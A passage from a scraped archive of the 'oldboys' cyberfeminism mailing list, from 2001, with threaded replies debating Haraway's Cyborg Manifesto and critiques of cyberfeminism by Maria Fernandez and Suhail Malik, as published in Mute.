not clearly formulated goals; if there\ncan by a different understanding of politics than an intentional, which\nclearly was the feminism of the 70s.\" \n\nI'm not clear of what you are arguing here. Are you saying that in the\ndeliberate formulation of politics it is not necessary to have an\nintention? Just how can one hold a committed political position or sustain\npolitical activities without any goals?\n\n\"for me it makes much more sense to rethink strategies and tools than just\nreplacing one goal by another and using the same strategies to try to reach\nthem.\"\n\nHere I agree with you. This is precisely where critique, reflection and\ndiscussion can help. \n\n\"that feminists accuse each other for only being feminist of career reasons\nis an old tradition, as old as the fact that proclaiming to be a feminist\n/cyberfeminist does harm to your career. it doesn't lead anyone anywhere\nand mostly shows personal envy. to make a serious topic out of it you have\nto be honest about female competition which is a complete taboo ...\"\n\nTo my mind, that women excel in their chosen careers is entirely consistent\nwith feminism. I'm in favor of healthy competition and/or careerism (as\nlong as it is not exploitative or denigrative of others). In the case of\npolitical movements, I believe that political considerations and vision are\ncentral and professional and career motives should be guided by and\ncomplementary to a political vision.\n\n\"but there will also be a section at the conference talking about what the\nhell is it that ties obn together?\" \n\nPerhaps such a discussion will clarify obn's positions.\n\nBest of luck!\n\nMaria \n\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                "to": "\"INTERNET:oldboys@lists.ccc.de\" <oldboys@lists.ccc.de>",
                "url": "https://nettime.org/Lists-Archives/oldboys-0109/msg00000.html",
                "list": "oldboys",
                "author_name": "Maria Fernandez",
                "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism",
                "from": "Maria Fernandez <Xochipilli@compuserve.com>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "aith Wilding <fwild+@andrew.cmu.edu>",
                                        "content": "Hi Connie, Maria, Clara and Susanna and all: I just came back from Ars\nElectronica where I was on the Female Takeover panels with Connie, Nina\nBudde, Lynne (sorry don't remember last name at the moment), and\nsnergurutschka (a group of 3 young women artists from Linz). Our main\nobjective was to talk about strategies of feminist or cyberfeminist art.\nThere are so many things to say about this panel and I am still so upset\nand jet-lagged that I can't think straight. But one thing stands out\nwhich relates to the current discussion about critical and theoretical\ncyberfeminism. Snergurutschka collective presented a taped statement\n(even though they were there in person) that they refused to speak about\ntheir work and that they refused theory--specifically it seems, feminist\ntheory. To me that was really disturbing and a real regression, a\nsilencing of women, and a silencing of history. Is this what feminist\nstruggle has won for some fortunate women? that they can do whatever\nthey want without any feeling of responsibility to communicate with\nwomen from other fields and practices and countries,with differences of\naccess and economic placement in the world?\nI know that we can't save the world, but I do feel that if we have a\nplatform from which to speak then we are responsible to speak not only\nfor and to and about ourselves, but to a much broader constituency that\ndoes not yet have a platform. We know women's history only because some\nwomen (and men) have made it their life-long work to explore it and\nteach it and write about it and show it and fight to have it represented\nas part of world history. It can so easily be lost. As a feminist and\ncyberfeminist I value immeasurably the theory that women are producing\nand the generative and critical conversations which that theory allows\nme. My work would be nothing without it. \n\nI hope to write more about Female takeover etc. after I have calmed down\na little. \ncheers, faith wilding \n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00009",
                                        "date": "Fri,  7 Sep 2001 09:51:30 -0400 (EDT)",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "AvaB3WK00Ui_I2XFY1@andrew.cmu.edu",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0109/msg00009.html",
                                        "content-type": "text/plai",
                                        "author_name": "Faith Wilding",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    }
                                ],
                                "from": "Susanna Paasonen <suspaa@utu.fi>",
                                "content": "Dear all,\n\nJust a few notes on the debate on criticism & cyberfeminism --\n\nAs someone working on writing and reading, I've found past OBN postings on \nwhat to criticise and how somehow, well, confusing. As I understand it, \nfeminist theory is centrally self-reflexive, meaning that writers situate \nthemselves in relation to other authors, past or present (Braidotti's \nfeminist footnoting) and engage in different kinds of critical dialogues \nwith them. Criticism is not about dissing people's work or not seeing what \nthey are arguing or where from... since debate without any attempt to \nlisten/read/grasp the other's arguments does not really qualify as critical \npractice.\n\nI really do not understand why for example Plant's or Haraway's work should \nnot be revisited critically. I think the opposite, as both authors have in \ndifferent ways been highly influential for cyberfem practices, textual or \nother, and remain to be so. Without critical encounters we would be left \nwith either silence or celebration, neither of which seems too great an \noption. Without criticism the limits of thinking and blind spots of \nargumentation remain untouched and unquestioned, and without linking one's \nargumentation to the work of others there is no productive dialogue.\n\nCriticism is central and productive in marking differences and \ncontinuities. As attractive as the idea of each formulating their own \nversion of cyberfeminism is, it is of little use unless these individual \nformulations engage in debate with each other, provocations included, and \ncome to terms with criticism.\n\nNow this is kind of obvious but I'm typing it anyway -- there really is no \nneed to agree on the merits of individual authors' work, or what \ncyberfeminism possibly stands for, for finding some common ground to speak \non. This kind of forced concensus would be ever so dull!\n\nBut, again, I don't think there's danger of this happening. If OBN is a \ncommunity, I do hope it's a critical one.\n\nmy best,\nSusanna\n\n\n\t----------------------------------------\n\tSusanna Paasonen\t\n\ttutkija / researcher\n\tMediatutkimus / Media studies\n\tFIN-20014 University of Turku, Finland\n\temail: suspaa@utu.fi\n\ttel. +358-50 523 1350 (gsm/mobile)\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                "id": "00003",
                                "date": "Sat, 01 Sep 2001 15:02:36 +0300",
                                "to": "ldboys@lists.ccc.de",
                                "message-id": "4.3.2.7.0.20010901142834.00c13de0@mail.utu.fi",
                                "url": "https://nettime.org/Lists-Archives/oldboys-0109/msg00003.html",
                                "content-type": "text/plai",
                                "author_name": "Susanna Paasonen",
                                "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                            }
                        ],
                        "from": "\"Clara Ursitti\" <ursittiramsay@lineone.net>",
                        "content": "re: critique of Haraway\n\nDear Maria and Connie,\n\nI too was intrigued by Connie's comments.  \n\nI think that is quite telling when it is OK to heavily critique Sadie Plant\nbut not Ok to critique Haraway.  I actually see the merits of both writers,\nas well as their weak points, but within their respective disciplines (\nHaraway a science historian and Sadie Plant a philosopher, both from\ndifferent parts of the world with completely different contexts, and\ndifferent generations,)  Is it not a bit contradictory to refute a critique\non Haraway's ironic manifesto, its promises and what has happened over 20\nyears on?  Or is this the  \" dissonance\" that OBN is supposed to be based\non?  \n\nAs for the following comment\n\n    that is why i have never accepted a critique like the one from maria,\nsaying cyberfeminism is not political or critical or radical or whatever\nnice adverbs there are around. why doesn't she [simply] formulate her idea\nof a political cyberfeminism and contributes it? why is it the better\npolitical gesture to blame others for not doing what i think has to be done?\ni am happy that this very comfortable gesture doesn't work any longer with\ncyberfeminism.\n\nIsn't what Maria wrote a contribution?  \n\nIt will be really interesting to read about the conference as I hope it will\nclarify some of my thoughts at the moment re: OBN.  I hope that it will show\nme that there is more of a sense of community than this bickering I receive\nin my e-mails. I am really trying to get a grasp of what it is all about.  \n \nAll the Best,\n\nClara \n\n\n>From: Maria Fernandez <Xochipilli@compuserve.com>\n>To: \"INTERNET:oldboys@lists.ccc.de\" <oldboys@lists.ccc.de>\n>Subject: Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism\n>Date: Sat, Sep 1, 2001, 6:52 am\n>\n\n>\n>\n>Thank you to Pauline for sending my piece to the list and for your\n>comments. They were right on target. I regret to have missed the beginning\n>of this exchange. The exigencies of relocating transatlantically and moving\n>two households have kept me off line for the last two weeks. I'm currently\n>living among boxes so my communication may remain intermittent for some\n>time...\n>\n>Connie: I was intrigued by your reactions as my brief comments do not\n>deviate significantly from previous, more extensive critiques of\n>cyberfeminism, including the paper by Faith Wilding \"Where is the Feminism\n>in Cyberfeminism\", a version which is posted in the OBN web site. Wilding\n>also questioned cyberfeminism's lack of definition and goals yet to my\n>knowledge you have not responded (publically) with similar zeal. \n> \n>As Pauline observes, I do not think cyberfeminism is over. Quite the\n>opposite, it has hardly begun! I believe that critique is constructive.\n>Rather than deeming it a futile exercise (as you suggest), it can help one\n>to reflect on and refine/define one's position.\n>\n>Connie, you wrote: \n>\"there is a tradition within obn discussing the understanding of politics.\n>(see also mute #13) and the main question is if something (like cf) can\n>have a political concern if there is not clearly formulated goals; if there\n>can by a different understanding of politics than an intentional, which\n>clearly was the feminism of the 70s.\" \n>\n>I'm not clear of what you are arguing here. Are you saying that in the\n>deliberate formulation of politics it is not necessary to have an\n>intention? Just how can one hold a committed political position or sustain\n>political activities without any goals?\n>\n>\"for me it makes much more sense to rethink strategies and tools than just\n>replacing one goal by another and using the same strategies to try to reach\n>them.\"\n>\n>Here I agree with you. This is precisely where critique, reflection and\n>discussion can help. \n>\n>\"that feminists accuse each other for only being feminist of career reasons\n>is an old tradition, as old as the fact that proclaiming to be a feminist\n>/cyberfeminist does harm to your career. it doesn't lead anyone anywhere\n>and mostly shows personal envy. to make a serious topic out of it you have\n>to be honest about female competition which is a complete taboo ...\"\n>\n>To my mind, that women excel in their chosen careers is entirely consistent\n>with feminism. I'm in favor of healthy competition and/or careerism (as\n>long as it is not exploitative or denigrative of others). In the case of\n>political movements, I believe that political considerations and vision are\n>central and professional and career motives should be guided by and\n>complementary to a political vision.\n>\n>\"but there will also be a section at the conference talking about what the\n>hell is it that ties obn together?\" \n>\n>Perhaps such a discussion will clarify obn's positions.\n>\n>Best of luck!\n>\n>Maria \n>\n>\n>\n>\n>\n>**  distributed via <oldboys list>: no commercial use without permission\n>**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n>**  to remove your address from the list, send a message to:\n>    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n>**  more info: send mail to: oldboys-info@lists.ccc.de and/or \n><oldboys-faq@lists.ccc.de>\n>**  archive: http://www.nettime.org/oldboys\n>**  contact: oldboys-owner@lists.ccc.de\n>**  www.obn.org\n>\n>\n>\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                        "id": "00002",
                        "date": "Sat, 01 Sep 2001 10:41:56 +0100",
                        "to": "ldboys@lists.ccc.de",
                        "message-id": "E15d6pw&#45;000OM1&#45;00@mk&#45;smarthost&#45;2.mail.uk.worldonline.com",
                        "url": "https://nettime.org/Lists-Archives/oldboys-0109/msg00002.html",
                        "content-type": "text/plai",
                        "author_name": "Clara Ursitti",
                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                    }
                ],
                "message-id": "200109010152_MC3&#45;DE5C&#45;2F06@compuserve.com",
                "date": "Sat, 1 Sep 2001 01:52:12 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00016",
                "content": "pls. see at 'mute' issue 20 full version\nor maybe maria can send it to the list!?\n\n-->shortcuts page 10\n\nwhatever happened to the cyborg manifesto?\n\n...\n\n\n...But in contrast to Haraway's feminist, socialist and antiracist politics, cyberfeminism eschewed definitions, political affiliations (including feminism) and even goals.*\n\nThe political effectiveness of so undirected a movement is still to be dertemined. Issues of race and racism, primary in Haraway's formulation of the cyborg, have been avoided in cyberfeminism. This silence could prove as destructive here as it was to second wave US feminism. One can only hope that cyberfeminism is still open to transformations.\n\n...\n\n...Cyberfeminists followed Haraway's lead to associate on the basis of affinities, but at present, with some exceptions, these affinities tend to be career-oriented rather than political.\n\n* see 100 anti-theses www.obn.org/cfunder/100antitheses.html\nand\nfaith wilding \"where is feminism in cyberfeminism\"\nwww.art.cfa.cmu.edu/wilding/wherfem.html\n\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:::::\"A smart artist makes the machine do the work\"::::::::::::::::::::::::\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::\n::::::::::::::::::::::: [net.art generator]: http://www.obn.org/generator :\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:Cornelia Sollfrank | Rutschbahn 37 | 20146 Hamburg | Germany :::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0173-6173348:\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                "to": "ldboys@lists.ccc.de",
                "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00016.html",
                "list": "oldboys",
                "author_name": "Cornelia Sollfrank",
                "subject": "[oldboys] maria fernandez on cyberfeminism",
                "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "id": "00019",
                                "content": "Hi,\n\nThis re: yesterday's promise to send over a so-called 'head-to-head' we\npublished about the mysterious wane and wane of cyborg figures... as well\nas the question mark hovering over their material impact. The very brief\nhistory to this is that we asked both authors, whose opinions we\nsuspected would differ significantly, to crystallise their feelings into\na kind of top 5.\n\n(Oddly enough, the pretty much simultaneous revisitation of the subject\nby Mute and Adbusters - which admittedly were very different - kind of\ndisproved our own premise about the strange fading of the Manifesto's\ninfluence. I've since heard from Debbie Shaw, who wrote a letter to Mute\nin reply to Suhail Malik's statement, that Donna Haraway is very\nmystified by this resurgence in interest ;) ).\n\nAnyway, here it is. \n\nBests, Pauline\n\n----from Mute20---\n\nIn 1985, Donna Haraway unveiled \"The Cyborg Manifesto\",\nthrilling cultural studies bods, new agers, feminists, and cyberpunks\nalike with its mix of military, political, laboratory and hippy flavours.\nConsigning the boundaries between the born and the built and the\nsubject's oedipal development to the rubbish dump of history, Haraway's\npolitics of the information age created waves. But ten years on, has the\nradical promise of her manifesto been borne out by history? Maria\nFernandez and Suhail Malik both think it hasn't. But fear not,\ntheir reasons for agreeing are completely opposed\n\nThe Cyborg (sweet sixteen and never been cloned) \n\nIn an era when nearly everything, from small seeds to large computer\nnetworks, entails practical or metaphorical organic and machinic fusions,\nthe \u2018cyborg\u2019, that product of early Cold War cybernetic theory, and\ndetourned by Haraway a generation later, has lost its political\nclout. Haraway\u2019s cyborg, \u2018not of woman born\u2019, the illegitimate offspring\nof militarism and patriarchal capitalism, was modeled upon the\nmeztisaje (racial mixing) of Mexican Americans. Acknowledging that\nshe wrote the piece at a particular historical moment and primarily\nfor women, Haraway's cyborg was an inconstant figure able to\nincorporate spiral dancers, electronic factory workers, poets, and\nengineers; a figure who allied diverse oppositional strategies, from\nwriting to biotechnology. Given this radical theoretical openness, what\ndid the Cyborg Manifesto (CM) really manage to achieve?\n\n1. CM was an early recognition of the fundamental and irreversible\nchanges brought about by digital technologies. Pre-dating Dolly, the\nVisible Man, the Visible Woman, and the (purported) completion of the\nGenome Project, Haraway discerned society's transformation into a\n\"polymorphous information system\" and \"the translation of\nthe world into a problem of coding\", both phenomena with specific\neffects for women worldwide. In the 1980s, Haraway was one of a handful\nof cultural critics to write about the double-edged possibilities of\nbiotechnology, a major focus of cultural work today. Her prediction that\ncontrol strategies applied to women to give birth to new human beings\nwould be developed using the language \"of goal achievement for\nindividual decision-makers\" had, by the 1990s, become painfully\nclear.\n\n\n\n2. CM urged feminists to embrace new technologies as tools for feminist\nends. This was a pressing antidote to the pernicious notion, popular at\nthe time, that women belonged exclusively to \u2018nature\u2019. The manifesto\nproposed that feminists definitely could and should use the master\u2019s\ntools to destroy (or at least disrupt) the master\u2019s house.\n\n\n\n3. CM contributed to the growth of a pan-global labor consciousness,\nacknowledging the key role of women as workers in the global economy. It\nalso inspired the development of cyberfeminism in various parts of the\nworld. But in contrast to Haraway's feminist, socialist and antiracist\npolitics, Cyberfeminism eschewed definitions, political affiliations\n(including feminism) and even goals.* The political effectiveness of so\nundirected a movement is still to be determined. Issues of race and\nracism, primary in Haraway's formulation of the cyborg have been avoided\nin cyberfeminism. This silence could prove as destructive here as it was\nto Second Wave US feminism. One can only hope that cyberfeminism is still\nopen to transformations.\n\n4. CM proposed feminist associations based on affinities, not identity.\nHaraway wrote the manifesto in response to endless fragmentation of the\nUS Second Wave feminist movement along the lines of ethnic, racial and\nsexual identity. The manifesto called for the crossing of boundaries and\nfor a re-organisation of women on the basis of affinities of political\nkinship. Cyberfeminists followed Haraway\u2019s lead to associate on the basis\nof affinities but at present, with some exceptions, these affinities tend\nto be career-oriented rather than political. \n\n\n\n5. CM reinforced and popularised earlier utopian feminist imaginings\nof a world rendered gender free by technology. Effectively, what this\nreally meant was that those who could afford medical services and\ntechnology would be able to 're-generate' themselves at will. For a small\nsegment of the world\u2019s population this has indeed been liberating and\nempowering. Previously \u2018monstrous\u2019 prosthesis became beautiful.\n\n\n\n\nIf the original radicality of Haraway\u2019s cyborg lay in its illegitimacy,\nthe ubiquity of digital, ex-military, and genetic technologies suggest\nthat the cyborg is now a recognised legal citizen, much more a creature\nof social reality than of fiction. The utilisation of the cyborg as an\nimage of edgy radicalism was, and still is, the territory of electronics\nand the fashion industry. As cyberfeminism emphasises the cyber and\nbackpedals the feminism, the most radical politics of the manifesto have\nbeen largely ignored.\n\n*See '100 anti-theses'\n<http://www.obn.org/cfunder/100antitheses.html>\nand Faith Wilding, \"Where is the feminism in Cyberfeminism\"\n<http://www.art.cfa.cmu.edu/wilding/wherfem.html>\noriginally published in nparadoxa 33, London, 1998.\n\nMaria Fernandez\n\n-----\n\nThe Cyborg Fifteen Years On, Five Complaints\n\nWe know what a cyborg is: the hybrid transfiguration of the human and the\nmachinic into one continuous, prosthetically extended, technically or\norganically enhanced and integrated body, mind and generalised culture.\n\nThe hope of this integration is for a transorganic or transhuman future,\nsomething like an entirely new evolutionary stage of life which will\nsurpass the organic limitations of brain and body in favour of new,\nunlimited potentialities. A new sort of future that undermines the\ndivisions and boundaries between the human and its others; a\ncross-disciplinary movement that, as Donna Haraway asserts in her\nfoundational text, \"The Cyborg Manifesto\", has characterised\nliberal societies in (post)modernity.\nThe cyborg is yet another manifestation of the collapse of the\ntraditional bounded stability of the human and its anthropocentric\nbeliefs. But this notion of the cyborg is a lazy reconfiguration of\nalready well-established political and moral sensibilities\n\n\nwhy?\n\n1.\n\n\n\n\n\n\n\n\n\n\n\nIt\nduplicitously welcomes the technoscientific hybridisation of the organic\nand the technical while maintaining and perpetuating the critique of\ntechnological rationality which has characterised left-liberal activism\nand humanities. Neither aspect is transformed by what is in fact a\nconfrontation but comes to exist side-by-side in a typically vague\noptimism in which all transgressions of boundaries are welcomed, without\nadequate consideration of content or the difficulties involved. In this\nway, the theory of the cyborg perpetuates the standard assumptions of\nleftist (and proto-hippie) critique.\n\n2. This hypocritical determination only serves to reinforce equally naive\nnotions of an extended freedom and responsibility which, rather, the\ncyborg is in the service of. There is something disgustingly, liberally\n'communitarian' about the cyborg in its current appreciation, which could\nbe readily taken as a covert if naively assumed parochialism or, better,\nAmericanism. No surprise that this should come from those on the nice\nleft where 'contestation' always involves 'respect' and 'creativity'\nrather than war and destruction (see Hardt & Negri's approbation of\nHaraway in Empire).\n\n3. Cyborg theory is mostly a self-serving sexying-up of critical\nliberalism through great gadgetry and concept-busting movements in the\ntechnoscientific organisation of living material and extended systems.\nTie-dye T-shirts are swapped for leather deathpants and ethnic beads for\nprosthetic hardware in a desperate bid for contemporaneity.\n\n4. But the errors and dogmatism of the now common notion of the cyborg\nalso extend to the understanding of what is actually happening in the\ntechnosciences. The cyborg is a theoretical fiction since how the\nmachinic and the organic in fact materially interact and combine is not\nand cannot be accounted for by a theory ultimately based on\nabstractions.\n\n5. This tendentious, primarily phantasmatic appropriation of\ntechnoscientific development as 'cyborgian' precludes a technically\nprecise and fully inventive understanding of organico-machinic\nintegration in favour of asserting what has been going on in well-meaning\nleft-liberal circles for some time anyway. It is a complacent reduction\nof the actuality of the organico-machinic nexus, dulling it into\npolitically comprehensible and polite terms.\n\nSuhail Malik\n\n\n\n\n\n*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\nMute/Metamute/Mutella\n2nd Floor East, Universal House, \n88-94 Wentworth Street, London, E1 7SA.\nT: +44 (0)20 7377 6949 // F: +44 (0)20 7377 9520\nE: pauline@metamute.com // W:\n[www.metamute.com]\n\n\n",
                                "to": "ldboys@lists.ccc.de",
                                "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00019.html",
                                "list": "oldboys",
                                "author_name": "Pauline van Mourik Broekman",
                                "subject": "[oldboys] Re: maria fernandez/suhail malik on cyberfeminism",
                                "from": "Pauline van Mourik Broekman <pauline@metamute.com>",
                                "follow-up": [
                                    {
                                        "from": "Mary Jo Aagerstoun <mjaag@wam.umd.edu>",
                                        "content": "Could we have bio/professional background info on Fernandez and Malik,\nplease?\n\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nMary Jo Aagerstoun\nUniversity of Maryland at College Park\nmjaag@wam.umd.edu\nphone:(202)234-6038\nfax:(202)332-1479\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00020",
                                        "date": "Thu, 23 Aug 2001 15:39:17 -0400 (EDT)",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "Pine.GSO.4.21.0108231538520.21188&#45;100000@rac3.wam.umd.edu",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00020.html",
                                        "content-type": "text/plai",
                                        "author_name": "Mary Jo Aagerstoun",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    },
                                    {
                                        "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                                        "content": "dear mary jo,\n\ni hope you do not spend to much time and energy on the nagtive approaches to cyberfeminism;-)\n\nthere's also a lot of positive ones :-))\n\nc.\n\n>Could we have bio/professional background info on Fernandez and Malik,\n>please?\n\nMaria Fernandez (USA) <Xochipilli@compuserve.com>\nis an art historian (Ph.D. Columbia University, 1993) whose\ninterests center on postcolonial studies, electronic media theory, Latin\nAmerican Art and the intersection of those fields. She has taught at\nColumbia University, Carnegie Mellon University, the University of\nPittsburgh,  the University of Connecticut at Storrs and at the Master of\nFine Arts Program at Vermont College.\nSelected texts:  \"Postcolonial Media Theory\" Third Text, 47 (summer, 1999) \nexpanded version in Art Journal, fall 1999.\nInterview\nCIE<http://www.nettime.org/nettime.w3archive/199711/msg00001.html>\n\"New Canons, Old Histories...\"\nhttp://www.cgrg.ohiostate.edu/Astrolabe/journal/inaugural/fernandez.html\n\n\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:::::\"A smart artist makes the machine do the work\"::::::::::::::::::::::::\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::\n::::::::::::::::::::::: [net.art generator]: http://www.obn.org/generator :\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:Cornelia Sollfrank | Rutschbahn 37 | 20146 Hamburg | Germany :::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0173-6173348:\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00022",
                                        "date": "Fri, 24 Aug 2001 11:34:20 +0100",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "l03130305b7abdde92cc6@[213.73.67.19]",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00022.html",
                                        "content-type": "text/plai",
                                        "author_name": "Cornelia Sollfrank",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    },
                                    {
                                        "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                                        "content": "tnx pauline, \n\nfor posting the whole piece and putting it in context.\ni started by just quoting in order to shed some light on the... aehm, case.\n\n\n>Donna Haraway is very mystified by this resurgence in interest ;) ).\n\n\nreg. this i'd say that it just reflects a general need for 'prophecy', and if a thinker manages to condense a complex construct of ideas into a handy formula like a manifesto, a star is born.\n\ni, personally, always understood cyberfeminism as an operational mode which is first of all, based on activity, which means you become a cyberfeminist by developing your own cyberfeminist theory/ piece/ work/thought - whatever medium you prefer to work in - and contribue this to the discourse. the discourse, at least the one around obn is not just open enough to allow all possible approaches, but obn's basic idea is to build platforms which allow exactly this. \n\nthat is why i have never accepted a critique like the one from maria, saying cyberfeminism is not political or critical or radical or whatever nice adverbs there are around. why doesn't she [simply] formulate her idea of a political cyberfeminism and contributes it? why is it the better political gesture to blame others for not doing what i think has to be done? i am happy that this very comfortable gesture doesn't work any longer with cyberfeminism.\n\nand i am really looking forward to her political approach to cyberfeminism.\n\ncheers,\ncornelia\n\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:::::\"A smart artist makes the machine do the work\"::::::::::::::::::::::::\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::\n::::::::::::::::::::::: [net.art generator]: http://www.obn.org/generator :\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:Cornelia Sollfrank | Rutschbahn 37 | 20146 Hamburg | Germany :::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0173-6173348:\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00021",
                                        "date": "Fri, 24 Aug 2001 11:31:43 +0100",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "l03130304b7abd8cef9ae@[213.73.67.19]",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00021.html",
                                        "content-type": "text/plai",
                                        "author_name": "Cornelia Sollfrank",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    },
                                    {
                                        "from": "Pauline van Mourik Broekman <pauline@metamute.com>",
                                        "content": ">Hiiya,\n\n> >Donna Haraway is very mystified by this resurgence in interest ;) ).\n>\n>reg. this i'd say that it just reflects a general need for 'prophecy', and \n>if a thinker manages to condense a complex construct of ideas into a handy \n>formula like a manifesto, a star is born.\n\nYes, which explains the first and perhaps lasting impact... but what I \nthink is occurring now, or at least with things like the totally mistakenly \nentitled 'Cyborg Manisto' associated with Adbusters \n([www.cyborgmanifesto.org] which was a spoof lambasting the \noldest-fashioned version of the cyborg and seemed wholly unaware of \nHaraway's different formulation), is that it's coming back again, but in a \nkind of amnesiac haze, and, unlike before, accompanied by serious \nanimosity. This is what I believe mystifies her - not the initial interest.\n\n>i, personally, always understood cyberfeminism as an operational mode \n>which is first of all, based on activity, which means you become a \n>cyberfeminist by developing your own cyberfeminist theory/ piece/ \n>work/thought - whatever medium you prefer to work in - and contribue this \n>to the discourse. the discourse, at least the one around obn is not just \n>open enough to allow all possible approaches, but obn's basic idea is to \n>build platforms which allow exactly this.\n>\n>that is why i have never accepted a critique like the one from maria, \n>saying cyberfeminism is not political or critical or radical or whatever \n>nice adverbs there are around. why doesn't she [simply] formulate her idea \n>of a political cyberfeminism and contributes it? why is it the better \n>political gesture to blame others for not doing what i think has to be \n>done? i am happy that this very comfortable gesture doesn't work any \n>longer with cyberfeminism.\n\nWell, I feel very uncomfortable 